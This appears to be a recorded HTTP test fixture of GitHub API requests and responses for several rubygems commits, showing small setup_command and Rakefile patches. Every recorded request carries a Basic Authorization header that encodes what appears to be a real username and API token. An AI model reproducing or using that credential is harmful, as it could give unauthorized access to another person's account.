bundler_spec.bin_dir"},{"sha":"ea32351f12f9c1c610dfd83e053b64c2f80c80df","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":39,"deletions":0,"changes":39,"blob_url":"https://github.com/rubygems/rubygems/blob/fe8c8d5d296b41199d54a3b0468837d42d4dfe42/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/fe8c8d5d296b41199d54a3b0468837d42d4dfe42/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=fe8c8d5d296b41199d54a3b0468837d42d4dfe42","patch":"@@ -27,6 +27,28 @@ def setup\n open ''bundler/exe/bundle'', ''w'' do |io| io.puts ''# bundle'' end\n open ''bundler/lib/bundler.rb'', ''w'' do |io| io.puts ''# bundler.rb'' end\n open ''bundler/lib/bundler/b.rb'', ''w'' do |io| io.puts ''# b.rb'' end\n+\n+ FileUtils.mkdir_p ''default/gems''\n+\n+ gemspec = Gem::Specification.new\n+ gemspec.name = \"bundler\"\n+ gemspec.version = \"1.16.0\"\n+\n+ open ''bundler/bundler.gemspec'', ''w'' do |io|\n+ io.puts gemspec.to_ruby\n+ end\n+\n+ open(File.join(Gem::Specification.default_specifications_dir, \"bundler-1.15.4.gemspec\"), ''w'') do |io|\n+ io.puts ''# bundler''\n+ end\n+\n+ FileUtils.mkdir_p File.join(Gem.default_dir, \"specification\")\n+ open(File.join(Gem.default_dir, \"specification\", \"bundler-audit-1.0.0.gemspec\"), ''w'') do |io|\n+ io.puts ''# bundler-audit''\n+ end\n+\n+ FileUtils.mkdir_p ''default/gems/bundler-1.15.4''\n+ FileUtils.mkdir_p ''default/gems/bundler-audit-1.0.0''\n end\n \n def test_pem_files_in\n@@ -55,6 +77,23 @@ def test_install_lib\n end\n end\n \n+ def test_install_default_bundler_gem\n+ @cmd.extend FileUtils\n+\n+ @cmd.install_default_bundler_gem\n+\n+ default_dir = Gem::Specification.default_specifications_dir\n+\n+ refute_path_exists File.join(default_dir, \"bundler-1.15.4.gemspec\")\n+ refute_path_exists ''default/gems/bundler-1.15.4''\n+\n+ assert_path_exists File.join(default_dir, \"bundler-1.16.0.gemspec\")\n+ assert_path_exists ''default/gems/bundler-1.16.0''\n+\n+ assert_path_exists File.join(Gem.default_dir, \"specification\", \"bundler-audit-1.0.0.gemspec\")\n+ assert_path_exists ''default/gems/bundler-audit-1.0.0''\n+ end if Gem::USE_BUNDLER_FOR_GEMDEPS\n+\n def test_remove_old_lib_files\n lib = File.join @install_dir, ''lib''\n lib_rubygems = File.join lib, ''rubygems''"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:54 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/53ae2d691e8ba42235623c61065222ec4f9e8837 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:54 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4502' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"7e0cd665b1879d184bab4c3a26d0042f" Last-Modified: - Wed, 22 Nov 2017 07:03:59 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.045487' X-Github-Request-Id: - A242:4D95:F47D5C:1C835A9:5A50E46A body: encoding: ASCII-8BIT string: '{"sha":"53ae2d691e8ba42235623c61065222ec4f9e8837","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-22T07:03:59Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-22T07:03:59Z"},"message":"Auto merge of #2093 - hsbt:ruby18-binread, r=hsbt\n\nIO.binread is not provided at Ruby 1.8\n\nFixup https://github.com/rubygems/rubygems/pull/2089 at Ruby 1.8","tree":{"sha":"de480593d5f127d318d51d8b6c92fa1290728262","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/de480593d5f127d318d51d8b6c92fa1290728262"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/53ae2d691e8ba42235623c61065222ec4f9e8837","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/53ae2d691e8ba42235623c61065222ec4f9e8837","html_url":"https://github.com/rubygems/rubygems/commit/53ae2d691e8ba42235623c61065222ec4f9e8837","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/53ae2d691e8ba42235623c61065222ec4f9e8837/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"bb6cea99004abba91927b1874cc378ff714598ff","url":"https://api.github.com/repos/rubygems/rubygems/commits/bb6cea99004abba91927b1874cc378ff714598ff","html_url":"https://github.com/rubygems/rubygems/commit/bb6cea99004abba91927b1874cc378ff714598ff"},{"sha":"2c6529ed08af7fd2063e57b1abe15aea38ab49c6","url":"https://api.github.com/repos/rubygems/rubygems/commits/2c6529ed08af7fd2063e57b1abe15aea38ab49c6","html_url":"https://github.com/rubygems/rubygems/commit/2c6529ed08af7fd2063e57b1abe15aea38ab49c6"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"14bcccfd48ae1c78073b09427134f1a65a2cfcfc","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/53ae2d691e8ba42235623c61065222ec4f9e8837/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/53ae2d691e8ba42235623c61065222ec4f9e8837/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=53ae2d691e8ba42235623c61065222ec4f9e8837","patch":"@@ -357,7 +357,7 @@ def install_default_bundler_gem\n mkdir_p Gem::Specification.default_specifications_dir\n \n # Workaround for non-git environment.\n- gemspec = File.binread(''bundler/bundler.gemspec'').gsub(/`git ls-files -z`/, \"''''\")\n+ gemspec = File.open(''bundler/bundler.gemspec'', ''rb''){|f| f.read.gsub(/`git ls-files -z`/, \"''''\") }\n File.open(''bundler/bundler.gemspec'', ''w''){|f| f.write gemspec }\n \n bundler_spec = Gem::Specification.load(\"bundler/bundler.gemspec\")"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:54 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/2c6529ed08af7fd2063e57b1abe15aea38ab49c6 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:54 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4501' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"5da8d7826265820c839d4efdf207b8e1" Last-Modified: - Wed, 22 Nov 2017 06:05:32 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.045640' X-Github-Request-Id: - A244:4D97:903660:1C472FB:5A50E46A body: encoding: ASCII-8BIT string: '{"sha":"2c6529ed08af7fd2063e57b1abe15aea38ab49c6","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T06:05:32Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T06:05:32Z"},"message":"IO.binread is not provided at Ruby 1.8","tree":{"sha":"de480593d5f127d318d51d8b6c92fa1290728262","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/de480593d5f127d318d51d8b6c92fa1290728262"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2c6529ed08af7fd2063e57b1abe15aea38ab49c6","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloVE6wACgkQ+c8TQXJk\n+sI4xggAuYsS7GymJiZsCdnUSum2J0JgTZT2wYdPbLRYtPdB6z0jv+Yxw5FGZNMY\n6vYEgutL8G19O+sqK59jzT0eEy5jNAuSFZEAiA+V5vp7Iw4dJR/LFlXnSWr/3ivY\nllXe9k1UeG7gWd6Bpe6X88cnih499MlJwSqfo2lR+iNuU7KxSQdvbK3e82jyzs8O\nu23nKkB9HEVxeM7yV2ZwKxSFOBUmtmtnSZ2q6tTLaMlr8j0IXDmWcZOXWl9Qz6ld\naZ2KP1EYjPHuYfgfUYoND49+GLa9MCtDo6uLjE2yaFtJ+vQf4Ku1pgVSXJS6pRy7\nPpMULgW5mnmnKFe+Rdzw1G6cR87/uA==\n=stpm\n-----END PGP SIGNATURE-----","payload":"tree de480593d5f127d318d51d8b6c92fa1290728262\nparent bb6cea99004abba91927b1874cc378ff714598ff\nauthor SHIBATA Hiroshi 1511330732 +0900\ncommitter SHIBATA Hiroshi 1511330732 +0900\n\nIO.binread is not provided at Ruby 1.8\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2c6529ed08af7fd2063e57b1abe15aea38ab49c6","html_url":"https://github.com/rubygems/rubygems/commit/2c6529ed08af7fd2063e57b1abe15aea38ab49c6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2c6529ed08af7fd2063e57b1abe15aea38ab49c6/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"bb6cea99004abba91927b1874cc378ff714598ff","url":"https://api.github.com/repos/rubygems/rubygems/commits/bb6cea99004abba91927b1874cc378ff714598ff","html_url":"https://github.com/rubygems/rubygems/commit/bb6cea99004abba91927b1874cc378ff714598ff"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"14bcccfd48ae1c78073b09427134f1a65a2cfcfc","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/2c6529ed08af7fd2063e57b1abe15aea38ab49c6/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/2c6529ed08af7fd2063e57b1abe15aea38ab49c6/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=2c6529ed08af7fd2063e57b1abe15aea38ab49c6","patch":"@@ -357,7 +357,7 @@ def install_default_bundler_gem\n mkdir_p Gem::Specification.default_specifications_dir\n \n # Workaround for non-git environment.\n- gemspec = File.binread(''bundler/bundler.gemspec'').gsub(/`git ls-files -z`/, \"''''\")\n+ gemspec = File.open(''bundler/bundler.gemspec'', ''rb''){|f| f.read.gsub(/`git ls-files -z`/, \"''''\") }\n File.open(''bundler/bundler.gemspec'', ''w''){|f| f.write gemspec }\n \n bundler_spec = Gem::Specification.load(\"bundler/bundler.gemspec\")"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:54 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/bb6cea99004abba91927b1874cc378ff714598ff body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:54 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4500' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"6febdb6d023ce872b7f1cc56d5eda399" Last-Modified: - Wed, 22 Nov 2017 03:30:25 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.045166' X-Github-Request-Id: - C516:4D95:F47D6E:1C835CA:5A50E46A body: encoding: ASCII-8BIT string: '{"sha":"bb6cea99004abba91927b1874cc378ff714598ff","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-22T03:30:25Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-22T03:30:25Z"},"message":"Auto merge of #2090 - lucasprag:fix_install_test_deps_rake, r=segiddins\n\nFix rake install_test_deps once the rake clean_env does not exist\n\n# Description:\n\nProblem: running `rake install_test_deps` is raising an error:\n\n![rake-with-error](https://user-images.githubusercontent.com/2293178/33078993-85de9ab0-cebb-11e7-93ff-8737fda7e9ac.png)\n\nSolution: change the `rake install_test_deps` to run `clean` instead of `clean_env` (I saw this on `rake --tasks`)\n\n![rake-without-error](https://user-images.githubusercontent.com/2293178/33079224-356fe9a2-cebc-11e7-89fd-69205079b6ea.png)\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write tests (does not apply)\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).\n\nThank you","tree":{"sha":"8ac419e4859683220205fd2672088c852da595a0","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/8ac419e4859683220205fd2672088c852da595a0"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/bb6cea99004abba91927b1874cc378ff714598ff","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/bb6cea99004abba91927b1874cc378ff714598ff","html_url":"https://github.com/rubygems/rubygems/commit/bb6cea99004abba91927b1874cc378ff714598ff","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/bb6cea99004abba91927b1874cc378ff714598ff/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"52167834bcc1c5b4a9d972a8ba703140d969ae07","url":"https://api.github.com/repos/rubygems/rubygems/commits/52167834bcc1c5b4a9d972a8ba703140d969ae07","html_url":"https://github.com/rubygems/rubygems/commit/52167834bcc1c5b4a9d972a8ba703140d969ae07"},{"sha":"912049ad9432324e6f25d7efe1f0097e4d1b444a","url":"https://api.github.com/repos/rubygems/rubygems/commits/912049ad9432324e6f25d7efe1f0097e4d1b444a","html_url":"https://github.com/rubygems/rubygems/commit/912049ad9432324e6f25d7efe1f0097e4d1b444a"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"4af67f7a6b5fa085a07f2b8448dc8495ed9170df","filename":"Rakefile","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/bb6cea99004abba91927b1874cc378ff714598ff/Rakefile","raw_url":"https://github.com/rubygems/rubygems/raw/bb6cea99004abba91927b1874cc378ff714598ff/Rakefile","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Rakefile?ref=bb6cea99004abba91927b1874cc378ff714598ff","patch":"@@ -144,7 +144,7 @@ end\n task(:newb).prerequisites.unshift \"bundler:checkout\"\n \n desc \"Install gems needed to run the tests\"\n-task :install_test_deps => :clean_env do\n+task :install_test_deps => :clean do\n sh \"gem install minitest -v ''~> 4.0''\"\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:54 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/52167834bcc1c5b4a9d972a8ba703140d969ae07 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:55 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4499' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"cfba17c628fb7217e7d933cb799765e7" Last-Modified: - Wed, 22 Nov 2017 03:00:33 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.038783' X-Github-Request-Id: - A248:4D95:F47D78:1C835E1:5A50E46A body: encoding: ASCII-8BIT string: '{"sha":"52167834bcc1c5b4a9d972a8ba703140d969ae07","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-22T03:00:33Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-22T03:00:33Z"},"message":"Auto merge of #2089 - mauromorales:master, r=segiddins\n\nAvoid encoding issues by using binread in setup\n\nFixes #2088\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"1b8513ebf931305a11d823902bca8a0e8a960b27","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1b8513ebf931305a11d823902bca8a0e8a960b27"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/52167834bcc1c5b4a9d972a8ba703140d969ae07","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/52167834bcc1c5b4a9d972a8ba703140d969ae07","html_url":"https://github.com/rubygems/rubygems/commit/52167834bcc1c5b4a9d972a8ba703140d969ae07","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/52167834bcc1c5b4a9d972a8ba703140d969ae07/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"8a4a1afcafff4a0adaad7abef53947b3c172b8ce","url":"https://api.github.com/repos/rubygems/rubygems/commits/8a4a1afcafff4a0adaad7abef53947b3c172b8ce","html_url":"https://github.com/rubygems/rubygems/commit/8a4a1afcafff4a0adaad7abef53947b3c172b8ce"},{"sha":"f713f0d88d4f6b3a6c4140293d90cd8daf503f0d","url":"https://api.github.com/repos/rubygems/rubygems/commits/f713f0d88d4f6b3a6c4140293d90cd8daf503f0d","html_url":"https://github.com/rubygems/rubygems/commit/f713f0d88d4f6b3a6c4140293d90cd8daf503f0d"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"c0f793e43dcbd780947102eba0a0cdc131c05aa3","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/52167834bcc1c5b4a9d972a8ba703140d969ae07/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/52167834bcc1c5b4a9d972a8ba703140d969ae07/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=52167834bcc1c5b4a9d972a8ba703140d969ae07","patch":"@@ -357,7 +357,7 @@ def install_default_bundler_gem\n mkdir_p Gem::Specification.default_specifications_dir\n \n # Workaround for non-git environment.\n- gemspec = File.read(''bundler/bundler.gemspec'').gsub(/`git ls-files -z`/, \"''''\")\n+ gemspec = File.binread(''bundler/bundler.gemspec'').gsub(/`git ls-files -z`/, \"''''\")\n File.open(''bundler/bundler.gemspec'', ''w''){|f| f.write gemspec }\n \n bundler_spec = Gem::Specification.load(\"bundler/bundler.gemspec\")"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:55 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/912049ad9432324e6f25d7efe1f0097e4d1b444a body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:55 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4498' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - 